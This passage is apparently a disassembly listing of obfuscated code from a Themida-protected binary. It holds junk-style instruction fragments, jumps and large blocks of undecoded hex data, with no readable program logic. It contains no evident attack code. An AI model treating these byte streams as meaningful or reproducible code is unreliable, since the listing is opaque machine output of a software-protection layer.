		dd 5F2434FFh, 815D5455h, 4C5h, 4C58300h, 5035E9h, 0C1D7F700h
		dd 0DF3104EFh, 0CBE9FB31h, 0E9FFFF85h, 0FFFF501Bh
; ---------------------------------------------------------------------------


loc_599338:				; CODE XREF: Themida_:00593BFDj
		pop	esp
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	2EDEh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_58E55C
; ---------------------------------------------------------------------------
		db 5Ch
		dd 51241489h, 0CA88FEB1h, 8FF28059h, 805CEA80h,	88E9FAEAh
		dd 81FFFFD9h, 0AB00EAEFh, 24048B51h, 821AE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599386:				; CODE XREF: Themida_:00593890j
		shl	dh, 6
		push	3DF6h
		mov	[esp], eax
		jmp	loc_5A12F6
; ---------------------------------------------------------------------------


loc_599396:				; CODE XREF: Themida_:0059650Dj
		add	eax, edi
		jmp	loc_596FA5
; ---------------------------------------------------------------------------


loc_59939D:				; CODE XREF: Themida_:0059CC54j
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 51CA0A01h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_591737
; ---------------------------------------------------------------------------
a_xhop		db '_XhOp',0
		align 2
		dw 2C89h
		dd 600BE924h, 0EE81FFFFh, 53C001DDh, 5C1CBA52h,	0BE560FD5h
		dd 650276A8h, 0FCBFEE81h, 0C2813E0Ch, 0F1E09D8h, 0FFC36DE9h
		dd 7EAC1FFh, 6337CA81h,	0E2C14C21h, 8EAC104h, 0F7E9DAF7h
		dd 0B8FFFFADh, 4, 4244401h, 242C8B58h, 4C481h, 0EC810000h
		dd 4, 83243489h, 2C8904ECh, 5BCDE924h, 5350FFFFh, 277C30BBh
		dd 0B9CB8114h, 4B10AE21h, 8247C381h, 0D889EB50h, 0E92434FFh
		dd 0FFFFF4B0h, 331368h,	24348900h, 0FF7A23E9h, 24048FFFh
		dd 53BAE95Ch, 515A0000h, 1A3ABD55h, 5EE97D3Bh
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_599467:				; CODE XREF: Themida_:005908DEj
		push	ebx
		mov	ebx, 0D0C5C96h
		add	ecx, 5AB36698h
		sub	ecx, ebx
		sub	ecx, 5AB36698h
		pop	ebx
		jmp	loc_590B78
; ---------------------------------------------------------------------------
aXspp		db 'Xép',0
		dw 8900h
		dd 8B542414h, 95E92414h, 4DFFFFF0h, 428DE9h, 0F6815D00h
		dd 1BB171F8h, 0F835EE81h, 0F101CAC9h, 8691E95Eh, 0D9860000h
		dd 0D986D3F6h, 0FE06E1C0h, 0D8B8E9C9h, 0FA88FFFFh, 478E685Bh
		dd 1C890000h, 4EC8124h,	89000000h, 10E9240Ch, 29000003h
		dd 94E958C5h, 0FF00007Fh, 5E042474h, 5C24048Fh,	0E9E68956h
		dd 7D9Ah, 0F1E9CF01h, 2DFFFFFCh, 56254B41h, 481505Fh, 0AD635724h
		dd 0EA815A06h, 6AD6357h, 8124048Bh, 4C4h, 1C570900h, 8124148Bh
		dd 4ECh, 24048900h, 58E9E089h, 81000077h, 556077F6h, 240C8B29h
		dd 0F704C483h, 1AE957D6h, 54000042h, 53CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_599545:				; CODE XREF: Themida_:00591D9Aj
		xchg	ebp, [esp]
		pop	esp
		sub	al, 0D5h
		jmp	loc_5923E2
; ---------------------------------------------------------------------------
		dd 0ABFFE2BAh, 3438E927h
		db 2 dup(0)
aMhw		db '¬hw^',0             ; DATA XREF: Themida_:0058E160o
		align 10h
		dd 0B6241489h, 83DEF6B4h, 80E904ECh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59956F:				; CODE XREF: Themida_:005991FEj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_58FBA3
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 0E9000000h, 0FFFFA472h, 0BA241489h, 4B9939EBh
		dd 6C7FBD55h, 0CD8115A2h, 7B364B40h, 2555E9h, 80EE8100h
		dd 129802Dh, 8B93E9C6h,	14870000h, 24248B24h, 90E930FFh
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5995C3:				; CODE XREF: Themida_:00591C1Aj
		push	ebx
		jmp	loc_591D23
; ---------------------------------------------------------------------------
		db 0Fh,	0BEh, 0C8h
		dd 57E18951h, 913EE955h, 505AFFFFh, 580A44B8h, 74C6E944h
		dd 0F531FFFFh, 8DF2E9h,	0BD555600h, 89812CBh, 3CE9DDF7h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5995F7:				; CODE XREF: Themida_:0058E85Dj
		add	al, 42h
		sub	al, 8Fh
		jmp	loc_59158B
; ---------------------------------------------------------------------------
		dd 59F6E781h, 0F7810EF6h, 5DC08EDFh, 62A8E9h, 0E9C12900h
		dd 2E40h, 0AE73C5BEh, 5EF20153h, 0D5F0F281h, 0F368ADF3h
		dd 89000066h, 0BB532414h, 76FE5D2Ch, 0FFB149E9h, 0E9D801FFh
		dd 0FFFFE7EBh, 24148B5Eh, 6B82E9h, 4D05E900h, 0D605FFFFh
		dd 5027BE3Fh, 74240481h, 5B0BFD6Eh, 196C68h, 242C8900h
		dd 0FD6E74BDh, 5DEB290Bh, 43D3F758h, 41ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_599675:				; CODE XREF: Themida_:0059B43Fj
		mov	edx, [esp]
		jmp	loc_59F88A
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 2Bh
		dd 89E91B61h, 542959CAh, 0ECE90424h, 0C1000060h, 814A07E2h
		dd 0B65F3EF2h, 7926E9A5h, 8950FFFFh, 0C8C7E9E0h
		db 2 dup(0FFh)
word_5996A6	dw 0A8E9h		; DATA XREF: Themida_:0058E2C4o
		dd 80FFFF4Ch, 0B551C6C3h, 0C1EEE90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5996B6:				; CODE XREF: Themida_:00596F22j
		add	ebx, esi
		pop	esi
		add	ebx, edx
		sub	ebx, 455704E6h
		jmp	loc_58ED98
; ---------------------------------------------------------------------------


loc_5996C6:				; CODE XREF: Themida_:005A06C1j
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		jmp	loc_59361A
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 24348155h, 73D84868h, 68F7815Fh, 8973D848h, 15D5FF8h
		dd 2434FFC1h, 653BE9h, 240C8900h, 0A215CFB9h, 587EE920h
		dd 0CA300000h, 7D7868h,	241C8900h, 0FFD830E9h, 0E9F289FFh
		dd 0FFFF7A01h, 68243C89h, 3458h, 0FFA1C9E9h, 0B1E942FFh
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59972B:				; CODE XREF: Themida_:005938C0j
		push	ebx
		push	ecx
		mov	ecx, 0C7B5656h
		mov	ebx, 6D8AC48Bh
		jmp	loc_598A34
; ---------------------------------------------------------------------------
		dd 8106EBC1h, 0A5FC6CC3h, 245C2933h, 3ED5E90Ch,	0D8300000h
		dd 5B2434FFh, 4C481h, 0B1510000h, 0C1B1518Bh, 0C980E9D0h
		dd 53D1F6AEh, 3EE9DFB7h, 0BE000064h, 4BFD1B17h,	3655CE81h
		dd 0BA521530h, 13466EE3h, 8105EAC1h, 7455B8E2h,	0FF97E972h
		dd 0D001FFFFh, 23F3BB53h, 0C3816881h, 0BBA819C0h, 3F6AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5997A1:				; CODE XREF: Themida_:0059387Aj
		sub	eax, ebp
		add	eax, 597C635Eh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edi
		push	ecx
		push	65253945h
		pop	ecx
		xor	ecx, 51362169h
		jmp	loc_5A24E8
; ---------------------------------------------------------------------------
		db 88h,	0FCh, 88h
		dd 0CCFE59CFh, 6602EC83h, 52240C89h, 0FFD533E9h, 2ABD55FFh
		dd 4D2C1C79h, 46E9D5F7h, 53FFFF4Fh, 0C2E9D388h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5997EF:				; CODE XREF: Themida_:005A2C2Aj
		add	esp, 4
		push	ecx
		push	7E58h
		mov	[esp], edx
		push	eax
		mov	eax, 34877BEDh
		push	ecx
		mov	ecx, 40DA08B7h
		jmp	loc_598197
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 4, 1009BD55h, 0EA295B83h, 81CA015Dh, 831009C2h
		dd 0C281595Bh, 4, 8B241487h, 0E9562424h, 0FFFF9FFDh, 0BC5EF81h
		dd 0EF8156ADh, 0AD910F9h, 26EF8158h, 81242135h,	0C03A3F7h
		dd 3629E96Eh, 348B0000h, 0EAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59985E:				; CODE XREF: Themida_:005949DCj
		push	edi
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59FF88
; ---------------------------------------------------------------------------
		dd 24BAh, 0E0E95700h, 68000066h, 40000FA4h, 3B3BE9h, 70E98100h
		dd 5752094Dh, 72061EBFh, 0E9F9012Ah, 0FFFFFB1Fh, 800FB652h
		dd 0F0288BF6h, 2434FF5Ah, 4C4815Ah, 4000000h, 2CD828F4h
		dd 66522CF4h, 66467F68h, 0E9241C89h, 63ACh, 2474FF52h
		dd 24148B04h, 4C481h, 48F0000h,	0AC46E924h, 48FFFFFh, 4EC8124h
		dd 0E9000000h, 1A6Dh, 0ECE9D101h, 53FFFFE6h, 92E95B54h
		dd 5FFFFFEDh, 0EB81FB01h, 19644502h, 13FD685Fh,	2C890000h
		dd 68E3BD24h, 11E924C8h, 83000060h, 0A1E904C4h,	8FFFFFBAh
		dd 248B2404h, 0AF0F6624h, 7470E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599926:				; CODE XREF: Themida_:0059306Aj
		mov	ebx, 5BB3B926h
		sub	ebx, esi
		pop	esi
		jmp	loc_59FFF6
; ---------------------------------------------------------------------------
		db 57h
		dd 5BDE9h, 24048B00h, 4C481h, 0E9520000h, 78D6h, 0E9E38953h
		dd 0FFFF80C9h, 34E9C501h, 81000023h, 0C6B2FEEFh, 4EC8378h
		dd 89243489h, 0A17FE9FEh, 8B66FFFFh, 0C481240Ch, 2, 4EC180h
		dd 240C8BC8h, 6B8DE9h, 53E08900h, 1D1B36BBh, 62BE5634h
		dd 215C9702h, 4ACFE9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599996:				; CODE XREF: Themida_:0059D8F5j
		mov	bh, 7Dh
		sub	bh, 0CBh
		not	bh
		sub	bh, 2
		and	bh, 49h
		shr	bh, 1
		jmp	loc_597B8D
; ---------------------------------------------------------------------------
		dw 0C05Bh
		dd 0CE8003E6h, 0F9B450F6h, 80FFC480h, 0B353ACE4h, 0E4C380B7h
		dd 505BDC30h, 0FF75A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5999C9:				; CODE XREF: Themida_:0058E6E4j
		sub	eax, edi
		jmp	loc_5A0DAC
; ---------------------------------------------------------------------------


loc_5999D0:				; CODE XREF: Themida_:0059A7E2j
		mov	ebx, 58E5117Dh
		jmp	loc_591507
; ---------------------------------------------------------------------------
		dw 968h
		dd 0E943DE01h, 0FFFFB89Fh
; ---------------------------------------------------------------------------


loc_5999E4:				; CODE XREF: Themida_:0058F981j
		add	edx, 4
		jmp	loc_59BE8D
; ---------------------------------------------------------------------------
		db 1
		dd 56C581CDh, 5241C049h, 0FF8CD1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5999FD:				; CODE XREF: Themida_:00591242j
		mov	esi, 7879A9E7h
		mov	ecx, esi
		jmp	loc_5A1993
; ---------------------------------------------------------------------------
		db 0BAh, 5Ah, 7Ch
		dd 0F281081Ch, 1C8E1401h, 16A5EA81h, 0EA812FA9h, 6BB263Bh
		dd 6EF2814Ah, 31D94E29h, 0DD015AD3h, 81241C8Bh,	4C4h, 4B85000h
		dd 1000000h, 2C8758C5h,	0BF575C24h, 3A886E2Eh, 279DE9h
		dd 24148900h, 0E9BBB753h, 1B9Fh
dword_599A58	dd 0E924248Bh, 0FFFF48F3h, 525EC681h, 0EEC11775h, 0C6F68107h
					; DATA XREF: Themida_:0058E280o
		dd 81049853h, 6B62D2F6h, 4FE7681Dh, 0C890000h, 0DE80B924h
		dd 0CE2918DAh, 592434FFh, 104C483h, 0EC835EF0h,	241C8904h
		dd 29F0BD55h, 0A1E92040h, 33FFFFB5h, 2C31242Ch,	0C099E924h
		dd 0E951FFFFh, 0FFFFCFFBh, 4C481h, 0C4830000h, 21F66804h
		dd 60E90000h, 83000000h, 0DC0804C4h, 1BF3E9h, 24048F00h
		dd 50C6E95Ch, 78E90000h, 81FFFF48h, 192849EAh, 4DBDE914h
		dd 0B4500000h, 0F6C4FE24h, 0A0EC80D4h, 804ECC80h, 0C480C2E4h
		dd 58E7286Ah, 6636EF80h, 5024148Bh, 0E9E089h, 5000000h
		dd 4, 205h, 24043300h, 33240431h, 0DE92404h, 89000077h
		dd 0E389241Ch, 4BA52h, 0D3010000h, 8124148Bh, 4C4h, 4BA5200h
		dd 29000000h, 1C875AD3h, 0E408E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599B4A:				; CODE XREF: Themida_:0059B8AAj
		mov	[esp], edx
		mov	edx, 4
		push	62B6h
		mov	[esp], ebx
		mov	ebx, edx
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		push	5949h
		jmp	loc_59110F
; ---------------------------------------------------------------------------
		dd 4C481h, 0DCE90000h
		db 47h,	2 dup(0FFh)
byte_599B77	db 66h			; DATA XREF: Themida_:0058E1F8o
		dd 535057ADh, 33AEBB66h, 7151B866h, 5BD83166h, 60C32566h
		dd 449C3566h, 4E0C166h,	0B9665166h, 9660525h, 665966C8h
		dd 94D5E948h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599BA6:				; CODE XREF: Themida_:0059EB3Aj
		pop	ebx
		jmp	loc_599BBE
; ---------------------------------------------------------------------------
		dd 80F9E95Ch, 22B9FFFFh, 53767C0Fh, 0A0A4E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599BBE:				; CODE XREF: Themida_:00599BA7j
		shl	ebx, 2
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 74E43F9Ah
		jmp	loc_5A12A7
; ---------------------------------------------------------------------------
		db 87h,	0DDh, 50h
		dd 3154AB8h, 745E953h, 0F3290000h, 0C3814B5Eh, 0F38BFC6Eh
		dd 565BD809h, 0D404C8BEh, 37CE8124h, 0D14E3A47h, 0E6EE81E6h
		dd 1B5DA8Fh, 0C2895EF0h, 0E924048Bh, 0FFFF8E68h
; ---------------------------------------------------------------------------


loc_599C0C:				; CODE XREF: Themida_:00590449j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59A856
; ---------------------------------------------------------------------------
		db 1, 0F0h, 0E9h
		dd 0B69h, 0D441C781h, 0F909EF7Fh, 83243C8Bh, 0BE5604C4h
		dd 89B1E211h, 895EF129h, 0DBF759CBh, 4527E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599C42:				; CODE XREF: Themida_:005919D3j
		add	ebp, edx
		push	5CF9h
		jmp	loc_5983D3
; ---------------------------------------------------------------------------
		dw 6852h
		dd 4, 5AD6015Ah, 686C68h, 241C8900h, 6E7B951h, 13E93A44h
		dd 0BDFFFF91h, 718A08B2h, 8104E5C1h, 0BB2188EDh, 347E95Dh
		dd 0C1580000h, 0CF8106EFh, 61286C83h, 0FFFFEF81h, 0F781FFFFh
		dd 613CFFDCh, 0FF612BE9h, 8E3C1FFh, 2604F381h, 0D989AE03h
		dd 59CF015Bh, 5C243C87h, 4DBEE9h, 2DED8100h, 17D97DDh
		dd 242C8BE8h, 4C481h, 0C3010000h, 0FFA85AE9h, 0BA5258FFh
		dd 1D744330h, 515DC781h, 0D7011AD1h, 26B9BA52h,	814A6BF6h
		dd 7A1D9AEAh, 0E94A4A60h, 0FFFFC0CAh, 4C481h, 0C3800000h
		dd 80D30091h, 8B6691EBh, 0C4832414h, 83C1E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599D06:				; CODE XREF: Themida_:0059A879j
		dec	edi
		push	edi
		jmp	loc_5A25D0
; ---------------------------------------------------------------------------
		db 50h,	54h, 8Bh
		dd 0C4812404h, 4, 405h,	4C08300h, 5C240487h, 4EC81h, 2C890000h
		dd 4EC8324h, 0E9240489h, 0FFFF6EFBh, 5C240C33h,	4AB0F66h
		dd 0CE99C24h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599D47:				; CODE XREF: Themida_:0059B30Ej
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shr	bl, 5
		and	bl, 14h
		jmp	loc_58FCB1
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0EAh
		dd 29C03E58h, 0E956C229h, 0FFFF6367h, 8B7EE94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599D6E:				; CODE XREF: Themida_:0059B34Cj
		sub	ecx, 83F7051h
		jmp	loc_597077
; ---------------------------------------------------------------------------


loc_599D79:				; CODE XREF: Themida_:0059BA20j
		push	ebx
		mov	ebx, 526C7798h
		jmp	loc_595310
; ---------------------------------------------------------------------------


loc_599D84:				; CODE XREF: Themida_:0058E898j
		push	ebx
		push	ecx
		jmp	loc_59F528
; ---------------------------------------------------------------------------


loc_599D8B:				; CODE XREF: Themida_:00591D1Ej
		mov	edx, 74DC3087h
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		inc	edx
		shr	edx, 4
		xor	edx, 8B23CF3h
		jmp	loc_58E5A2
; ---------------------------------------------------------------------------


loc_599DA3:				; CODE XREF: Themida_:0059EAA4j
		mov	eax, 64487C61h
		or	eax, 73A93498h
		sub	eax, 0FFFFFFFFh
		shr	eax, 2
		jmp	loc_5933A0
; ---------------------------------------------------------------------------


loc_599DB8:				; CODE XREF: Themida_:0059743Bj
		neg	ebx
		xor	ebx, 0A443EFC0h
		sub	ebx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_59D3DE
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 35h
		dd 99C2BCEAh, 0FFF6FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_599DD9:				; CODE XREF: Themida_:0059DE23j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_592BFD
; ---------------------------------------------------------------------------
		dw 0CE31h
		dd 0E9F72959h, 0CAAh, 8124148Bh, 4C4h, 99E95900h, 81000030h
		dd 0CE45A4F7h, 3711E911h, 65BB0000h, 1E60534h, 81505BD8h
		dd 3F9C242Ch, 815A1F99h, 993F9CC2h, 0BD61E91Fh,	3C89FFFFh
		dd 77C6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599E32:				; CODE XREF: Themida_:0058EF36j
		mov	edi, 2BFF2B30h
		jmp	loc_5A0D47
; ---------------------------------------------------------------------------
		dd 0FF4512E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_599E41:				; CODE XREF: Themida_:0059253Ej
		sub	ecx, 2A5537A4h
		jmp	loc_59B1B5
; ---------------------------------------------------------------------------
		dd 31240C33h, 0C33240Ch, 24248B24h, 0E2D1C209h,	56245F87h
		dd 0DC6FE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599E66:				; CODE XREF: Themida_:00594B1Cj
		add	esp, 4
		push	753Dh
		mov	[esp], esi
		jmp	loc_59C358
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0D0010000h, 0E89DE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599E86:				; CODE XREF: Themida_:00596B43j
		inc	ebp
		xor	ebp, 15576314h
		add	edi, ebp
		pop	ebp
		push	esi
		jmp	loc_59AAE6
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 9844E924h, 0E5B8FFFFh, 0E92E3474h, 731Fh, 0EF0BED81h
		dd 0EB89D5B4h, 5BD8015Dh, 0FF8104E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_599EB9:				; CODE XREF: Themida_:005A12D7j
		pop	esi
		add	ebp, 0C5FA0AD5h
		add	eax, ebp
		jmp	loc_59A976
; ---------------------------------------------------------------------------
		db 0D1h
		dd 2E1C1E1h, 0DBF18149h, 293884C0h, 0F2D59CFh, 81611058h
		dd 4ECh, 240C8900h, 807953B9h, 8B6AE934h, 34FFFFFFh, 5F17E924h
		dd 5F550000h, 0FF970BE9h, 4BBFFh, 0FDE90000h, 8900007Dh
		dd 4EC81EAh, 89000000h,	4812414h, 456EF124h, 0BEC3E90Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599F1E:				; CODE XREF: Themida_:005909F3j
		and	ah, 0A7h
		shl	ah, 3
		shr	ah, 8
		sub	ah, 18h
		mov	dl, ah
		jmp	loc_59FEDB
; ---------------------------------------------------------------------------


loc_599F31:				; CODE XREF: Themida_:00597134j
		mov	cl, bh
		pop	ebx
		push	ebp
		jmp	loc_59FAD6
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 179F0283h, 0CEE9D901h, 31FFFF8Eh, 31C131C8h,	81BE56C8h
		dd 1001E09h, 0C1215EF0h, 0FFB5BCE9h, 3BF57FFh, 816A305Bh
		dd 816C1DF7h, 6AC78138h, 810FD343h, 6B5AFEEFh, 0EF00E978h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599F7A:				; CODE XREF: Themida_:005A0E1Fj
		mov	esi, 11BB56F0h
		push	ebx
		mov	ebx, 803C14h
		push	ebp
		mov	ebp, 0FF7FC3EBh
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_5A03D3
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 87000000h, 505C2414h, 0B8439268h, 24048B4Dh,	81E78957h
		dd 4C7h, 4C78100h, 0E9000000h, 0FFFFFEDAh
; ---------------------------------------------------------------------------


loc_599FBC:				; CODE XREF: Themida_:0059E4E7j
		mov	[esp], esi
		push	edx
		jmp	loc_5A0E0A
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 0B9h
		dd 8144C111h, 0FF39A9EDh, 5DE831F8h, 942DD0F7h,	89A2A950h
		dd 0F49FE9C5h
		db 2 dup(0FFh)
word_599FE2	dw 0FF66h		; DATA XREF: Themida_:0058E180o
		dd 4369E932h, 815BFFFFh, 0AD20ECCBh, 0EBBF5722h, 29FBADA7h
		dd 2434FFFBh, 3889E9h, 69D96800h, 0E95E3527h, 1F01h, 0F0B39DB6h
		dd 685AF328h, 368Ah, 68240489h,	246Ah, 52241C89h, 5CE99BB2h
		dd 28000088h, 241C8BF8h, 0FFBC68E9h, 5AD331FFh,	4757BA52h
		dd 0D2F77E31h, 0EA81E2D1h, 0D956DCAh, 2DEA8142h, 0E985EDCCh
		dd 7F96h
dword_59A054	dd 24048B66h, 0FC968h, 241C8900h, 4EC81h, 24890000h, 6D316824h
					; DATA XREF: Themida_:0058E0E0o
		dd 14890000h, 42136824h, 4890000h, 6E826824h, 7FE948F3h
		db 0B7h, 2 dup(0FFh)
byte_59A083	db 66h			; DATA XREF: Themida_:0058E0D8o
		dd 50240C8Bh, 405E089h,	51000000h, 4B9h, 59C82900h, 5C240487h
		dd 53241489h, 0FF5C25E9h, 4C581FFh, 0E9000000h,	62F6h
		dd 49CCE957h, 0E9810000h, 0DF91BE7h, 0C181F929h, 0DF91BE7h
		dd 0DCBB535Fh, 4B12681Dh, 68BAF381h, 0CB812781h, 6CF07CBEh
		dd 0BEA0C381h, 0D901A8D3h, 72F1815Bh, 0E978B414h, 730Ah
		dd 6497E95Ah, 0C483FFFFh, 89EB8104h, 121044Fh, 89C381C3h
		dd 0E921044Fh, 0CAFh
; ---------------------------------------------------------------------------


loc_59A108:				; CODE XREF: Themida_:0059E86Aj
		pop	esp
		jmp	loc_5A2DE8
; ---------------------------------------------------------------------------
		dw 1487h
		dd 0C5E95C24h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A117:				; CODE XREF: Themida_:0059AAEDj
		mov	esi, [esp]
		jmp	loc_596905
; ---------------------------------------------------------------------------
		db 88h
		dd 0F884E9FEh
		db 2 dup(0FFh)
word_59A126	dw 30ACh		; DATA XREF: Themida_:0058E1D4o
		dd 656866D8h, 1C896651h, 0B1515024h, 503CE9A8h,	0CD890000h
		dd 8BEB0159h, 0C481242Ch, 4, 296EE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A14E:				; CODE XREF: Themida_:0059D8A5j
		mov	[esp], esi
		mov	eax, [esp]
		push	ebx
		push	esp
		jmp	loc_5960D0
; ---------------------------------------------------------------------------
byte_59A15B	db 0ADh			; DATA XREF: Themida_:0058E1ECo
		dd 0FF70F3E9h, 243C8BFFh, 0FF9F7CE9h, 0B9515EFFh, 1D1D716Fh
		dd 159CA29h, 6FBE56DAh,	11D1D71h, 565B5EF2h, 1BD0E9h, 24148B00h
		dd 4C481h, 0AE90000h, 81000059h, 786976C3h, 0A9E900h, 81560000h
		dd 469E2434h, 34FF5516h, 0C4815B24h, 4,	469EF381h, 348B5516h
		dd 4C48324h, 5329FD05h,	6454E92Dh, 0F7530000h, 1BE92414h
		dd 30FFFFFEh, 24048BC2h, 0FF4822E9h, 4EC81FFh, 0E9000000h
		dd 0FFFFF4F1h, 0E9241433h, 1081h, 15BDD01h, 0C2015DE8h
		dd 8324048Bh, 54E904C4h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A1FF:				; CODE XREF: Themida_:0059877Aj
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		mov	ebp, 590A5C6Ch
		push	ebp
		dec	dword ptr [esp]
		pop	ebp
		or	ebp, 369013D3h
		dec	ebp
		jmp	loc_5934FA
; ---------------------------------------------------------------------------
		db 0B9h
		dd 37036DBAh, 0E981D1F7h, 75080793h, 0FF51D6E9h, 5EF301FFh
		dd 4EB81h, 1C870000h, 2E95C24h,	68FFFFADh, 1976h, 55240489h
		dd 0B5BF5750h, 8921E54Ch, 0C5895FF8h, 34A6B858h, 62D910Dh
		dd 2D2E2131h, 440F2A2Ah, 2A05E829h, 5440F2Ah, 2E213106h
		dd 0E9242C8Bh, 66AFh, 61F1BA52h, 0E9423CEBh, 0FFFFE268h
		dd 31F0314Eh, 5F58E9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A296:				; CODE XREF: Themida_:0058EE6Cj
		inc	eax
		xor	eax, 5D6207FEh
		jmp	loc_594847
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0C104C483h, 0E7C102E7h, 0B840E903h, 0EE81FFFFh, 6F187F54h
		dd 1B7AC681h, 30E9CB80h, 5A00003Eh, 31243433h, 34332434h
		dd 34FF5C24h, 243C8B24h, 81E18951h, 4C1h, 4C18300h, 0E9240C87h
		dd 0FFFF5DF6h, 653E8BB9h, 90F18114h, 81228549h,	0EA6244E9h
		dd 8E1C12Ah, 0FF6626E9h, 2414F7FFh, 19C2E9h, 8E3C100h
		dd 0EB81DBF7h, 7BAA4A99h, 4B39E9h, 41A1BA00h, 7EE90897h
		dd 5FFFFE7h, 620768A9h,	2503E0C1h, 737E77CCh, 259FE9h
		dd 4EC8300h, 83242489h,	5A042404h, 4B850h, 0C2010000h
		dd 0E924048Bh, 0CE8h, 7A58BA52h, 54290AAFh, 0FF5A0424h
		dd 0C8B2434h, 4C48324h,	0E9E68956h, 0FFFF64FAh,	26D268h
		dd 24048900h, 1F33E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A379:				; CODE XREF: Themida_:0059B70Bj
		sub	edx, eax
		sub	edx, 21550ADCh
		pop	eax
		mov	ebp, edx
		jmp	loc_59C87F
; ---------------------------------------------------------------------------
		db 1, 0FEh, 81h
		dd 9B4D09C6h, 0AE5DE92Ch, 34FFFFFFh, 0B6E95E24h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A39F:				; CODE XREF: Themida_:0059CB9Bj
		pop	ecx
		add	esp, 4
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		push	edx
		push	314Dh
		mov	[esp], esi
		jmp	loc_58FC06
; ---------------------------------------------------------------------------
word_59A3BA	dw 77FFh		; DATA XREF: Themida_:0058E230o
		dd 59669D1Ch, 9C241CD3h, 0FFC859E9h, 26602DFFh,	0C8B1ACDh
		dd 4C48124h, 5F000000h,	0F5E95451h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59A3DF:				; CODE XREF: Themida_:005977B9j
		push	46A0h
		jmp	loc_58EAE8
; ---------------------------------------------------------------------------
		db 46h,	81h, 0C6h
		dd 8B624E7Fh, 0FFE638E9h, 4C181FFh, 81000000h, 4ECh, 240C8900h
		dd 42474FFh, 592434FFh,	57E18951h, 0E4DBB53h, 14BF23A2h
		dd 0F738097Ch, 42F781D7h, 29F1E608h, 4F475BDFh,	57E9h
		dd 8BDA8800h, 0C481241Ch, 4, 148BD388h,	4C48324h, 0E924048Bh
		dd 0FFFFF256h, 7168C581h, 0FD29010Ah, 0FF8DC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59A455:				; CODE XREF: Themida_:005A136Aj
		dec	esi
		shl	esi, 8
		sub	esi, 9F2342E6h
		sub	ebx, esi
		pop	esi
		add	ebx, ecx
		push	ecx
		mov	ecx, 2A5A7CFCh
